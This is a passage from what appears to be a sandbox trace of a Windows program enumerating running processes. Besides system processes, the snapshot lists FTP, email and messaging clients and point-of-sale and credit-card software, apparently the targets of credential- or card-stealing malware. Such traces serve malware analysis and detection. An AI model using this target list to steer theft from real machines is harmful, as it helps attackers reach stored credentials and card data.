th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0062.409] lstrlenW (lpString="audiodg.exe") returned 11 [0062.409] Process32NextW (in: hSnapshot=0x1f0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0062.410] lstrlenW (lpString="svchost.exe") returned 11 [0062.410] Process32NextW (in: hSnapshot=0x1f0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x218, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0062.412] lstrlenW (lpString="svchost.exe") returned 11 [0062.413] Process32NextW (in: hSnapshot=0x1f0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0062.415] lstrlenW (lpString="dwm.exe") returned 7 [0062.415] Process32NextW (in: hSnapshot=0x1f0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x42c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0062.416] lstrlenW (lpString="explorer.exe") returned 12 [0062.416] Process32NextW (in: hSnapshot=0x1f0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x46c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0062.417] lstrlenW (lpString="spoolsv.exe") returned 11 [0062.417] Process32NextW (in: hSnapshot=0x1f0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0062.418] lstrlenW (lpString="taskhost.exe") returned 12 [0062.418] Process32NextW (in: hSnapshot=0x1f0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0062.419] lstrlenW (lpString="svchost.exe") returned 11 [0062.419] Process32NextW (in: hSnapshot=0x1f0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0062.420] lstrlenW (lpString="taskeng.exe") returned 11 [0062.420] Process32NextW (in: hSnapshot=0x1f0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x720, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0062.421] lstrlenW (lpString="taskhost.exe") returned 12 [0062.421] Process32NextW (in: hSnapshot=0x1f0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0062.422] lstrlenW (lpString="svchost.exe") returned 11 [0062.422] Process32NextW (in: hSnapshot=0x1f0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x674, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0062.423] lstrlenW (lpString="sppsvc.exe") returned 10 [0062.423] Process32NextW (in: hSnapshot=0x1f0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x738, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0062.424] lstrlenW (lpString="svchost.exe") returned 11 [0062.424] Process32NextW (in: hSnapshot=0x1f0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="barrelsince.exe")) returned 1 [0062.426] lstrlenW (lpString="barrelsince.exe") returned 15 [0062.426] Process32NextW (in: hSnapshot=0x1f0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x490, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="cricket.exe")) returned 1 [0062.427] lstrlenW (lpString="cricket.exe") returned 11 [0062.427] Process32NextW (in: hSnapshot=0x1f0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x578, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="angelsalot.exe")) returned 1 [0062.428] lstrlenW (lpString="angelsalot.exe") returned 14 [0062.428] Process32NextW (in: hSnapshot=0x1f0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="bridge.exe")) returned 1 [0062.429] lstrlenW (lpString="bridge.exe") returned 10 [0062.429] Process32NextW (in: hSnapshot=0x1f0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="sh_shipping.exe")) returned 1 [0062.430] lstrlenW (lpString="sh_shipping.exe") returned 15 [0062.430] Process32NextW (in: hSnapshot=0x1f0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x478, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="tobacco packet.exe")) returned 1 [0062.431] lstrlenW (lpString="tobacco packet.exe") returned 18 [0062.431] Process32NextW (in: hSnapshot=0x1f0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="pubscrashsatisfactory.exe")) returned 1 [0062.432] lstrlenW (lpString="pubscrashsatisfactory.exe") returned 25 [0062.432] Process32NextW (in: hSnapshot=0x1f0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x700, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="confidentiality-lookup-going.exe")) returned 1 [0062.433] lstrlenW (lpString="confidentiality-lookup-going.exe") returned 32 [0062.433] Process32NextW (in: hSnapshot=0x1f0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x688, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="widespread.exe")) returned 1 [0062.434] lstrlenW (lpString="widespread.exe") returned 14 [0062.434] Process32NextW (in: hSnapshot=0x1f0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="silk priority recreational.exe")) returned 1 [0062.435] lstrlenW (lpString="silk priority recreational.exe") returned 30 [0062.435] Process32NextW (in: hSnapshot=0x1f0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="zinc.exe")) returned 1 [0062.436] lstrlenW (lpString="zinc.exe") returned 8 [0062.436] Process32NextW (in: hSnapshot=0x1f0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="mainstream-footwear.exe")) returned 1 [0062.437] lstrlenW (lpString="mainstream-footwear.exe") returned 23 [0062.437] Process32NextW (in: hSnapshot=0x1f0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x818, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="construction_rice.exe")) returned 1 [0062.438] lstrlenW (lpString="construction_rice.exe") returned 21 [0062.438] Process32NextW (in: hSnapshot=0x1f0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x828, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="mask.exe")) returned 1 [0062.439] lstrlenW (lpString="mask.exe") returned 8 [0062.439] Process32NextW (in: hSnapshot=0x1f0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x838, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="rome_bool_pioneer.exe")) returned 1 [0062.440] lstrlenW (lpString="rome_bool_pioneer.exe") returned 21 [0062.440] Process32NextW (in: hSnapshot=0x1f0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x848, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="owen_der_sequence.exe")) returned 1 [0062.441] lstrlenW (lpString="owen_der_sequence.exe") returned 21 [0062.441] Process32NextW (in: hSnapshot=0x1f0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x858, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="curve standing.exe")) returned 1 [0062.680] lstrlenW (lpString="curve standing.exe") returned 18 [0062.681] Process32NextW (in: hSnapshot=0x1f0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x868, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0062.682] lstrlenW (lpString="3dftp.exe") returned 9 [0062.682] Process32NextW (in: hSnapshot=0x1f0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x878, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0062.682] lstrlenW (lpString="absolutetelnet.exe") returned 18 [0062.683] Process32NextW (in: hSnapshot=0x1f0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x888, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0062.683] lstrlenW (lpString="alftp.exe") returned 9 [0062.683] Process32NextW (in: hSnapshot=0x1f0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x898, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0062.684] lstrlenW (lpString="barca.exe") returned 9 [0062.684] Process32NextW (in: hSnapshot=0x1f0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0062.685] lstrlenW (lpString="bitkinex.exe") returned 12 [0062.685] Process32NextW (in: hSnapshot=0x1f0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0062.686] lstrlenW (lpString="coreftp.exe") returned 11 [0062.686] Process32NextW (in: hSnapshot=0x1f0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0062.687] lstrlenW (lpString="far.exe") returned 7 [0062.687] Process32NextW (in: hSnapshot=0x1f0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0062.688] lstrlenW (lpString="filezilla.exe") returned 13 [0062.689] Process32NextW (in: hSnapshot=0x1f0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0062.689] lstrlenW (lpString="flashfxp.exe") returned 12 [0062.689] Process32NextW (in: hSnapshot=0x1f0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x900, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0062.690] lstrlenW (lpString="fling.exe") returned 9 [0062.690] Process32NextW (in: hSnapshot=0x1f0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x910, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0062.691] lstrlenW (lpString="foxmailincmail.exe") returned 18 [0062.691] Process32NextW (in: hSnapshot=0x1f0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x920, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0062.692] lstrlenW (lpString="gmailnotifierpro.exe") returned 20 [0062.692] Process32NextW (in: hSnapshot=0x1f0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x930, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0062.693] lstrlenW (lpString="icq.exe") returned 7 [0062.693] Process32NextW (in: hSnapshot=0x1f0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x940, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0062.695] lstrlenW (lpString="leechftp.exe") returned 12 [0062.695] Process32NextW (in: hSnapshot=0x1f0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x950, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0062.696] lstrlenW (lpString="ncftp.exe") returned 9 [0062.696] Process32NextW (in: hSnapshot=0x1f0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x960, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0062.698] lstrlenW (lpString="notepad.exe") returned 11 [0062.698] Process32NextW (in: hSnapshot=0x1f0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x970, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0062.699] lstrlenW (lpString="operamail.exe") returned 13 [0062.699] Process32NextW (in: hSnapshot=0x1f0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x990, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0062.701] lstrlenW (lpString="pidgin.exe") returned 10 [0062.701] Process32NextW (in: hSnapshot=0x1f0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0062.702] lstrlenW (lpString="scriptftp.exe") returned 13 [0062.702] Process32NextW (in: hSnapshot=0x1f0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0062.704] lstrlenW (lpString="skype.exe") returned 9 [0062.704] Process32NextW (in: hSnapshot=0x1f0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0062.705] lstrlenW (lpString="smartftp.exe") returned 12 [0062.705] Process32NextW (in: hSnapshot=0x1f0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0062.707] lstrlenW (lpString="thunderbird.exe") returned 15 [0062.707] Process32NextW (in: hSnapshot=0x1f0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0062.708] lstrlenW (lpString="totalcmd.exe") returned 12 [0062.708] Process32NextW (in: hSnapshot=0x1f0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0062.710] lstrlenW (lpString="trillian.exe") returned 12 [0062.710] Process32NextW (in: hSnapshot=0x1f0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0062.712] lstrlenW (lpString="webdrive.exe") returned 12 [0062.712] Process32NextW (in: hSnapshot=0x1f0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0062.968] lstrlenW (lpString="whatsapp.exe") returned 12 [0062.968] Process32NextW (in: hSnapshot=0x1f0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0062.969] lstrlenW (lpString="winscp.exe") returned 10 [0062.969] Process32NextW (in: hSnapshot=0x1f0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0062.970] lstrlenW (lpString="yahoomessenger.exe") returned 18 [0062.970] Process32NextW (in: hSnapshot=0x1f0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0062.972] lstrlenW (lpString="active-charge.exe") returned 17 [0062.972] Process32NextW (in: hSnapshot=0x1f0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0062.973] lstrlenW (lpString="accupos.exe") returned 11 [0062.973] Process32NextW (in: hSnapshot=0x1f0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0062.975] lstrlenW (lpString="afr38.exe") returned 9 [0062.975] Process32NextW (in: hSnapshot=0x1f0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0062.976] lstrlenW (lpString="aldelo.exe") returned 10 [0062.976] Process32NextW (in: hSnapshot=0x1f0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0062.978] lstrlenW (lpString="ccv_server.exe") returned 14 [0062.978] Process32NextW (in: hSnapshot=0x1f0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0062.979] lstrlenW (lpString="centralcreditcard.exe") returned 21 [0062.979] Process32NextW (in: hSnapshot=0x1f0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaa0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0062.981] lstrlenW (lpString="creditservice.exe") returned 17 [0062.981] Process32NextW (in: hSnapshot=0x1f0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0062.983] lstrlenW (lpString="edcsvr.exe") returned 10 [0062.983] Process32NextW (in: hSnapshot=0x1f0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0062.985] lstrlenW (lpString="fpos.exe") returned 8 [0062.985] Process32NextW (in: hSnapshot=0x1f0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xad0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0062.986] lstrlenW (lpString="isspos.exe") returned 10 [0062.986] Process32NextW (in: hSnapshot=0x1f0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0062.988] lstrlenW (lpString="mxslipstream.exe") returned 16 [0062.988] Process32NextW (in: hSnapshot=0x1f0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0062.989] lstrlenW (lpString="omnipos.exe") returned 11 [0062.989] Process32NextW (in: hSnapshot=0x1f0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0062.990] lstrlenW (lpString="spcwin.exe") returned 10 [0062.991] Process32NextW (in: hSnapshot=0x1f0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, 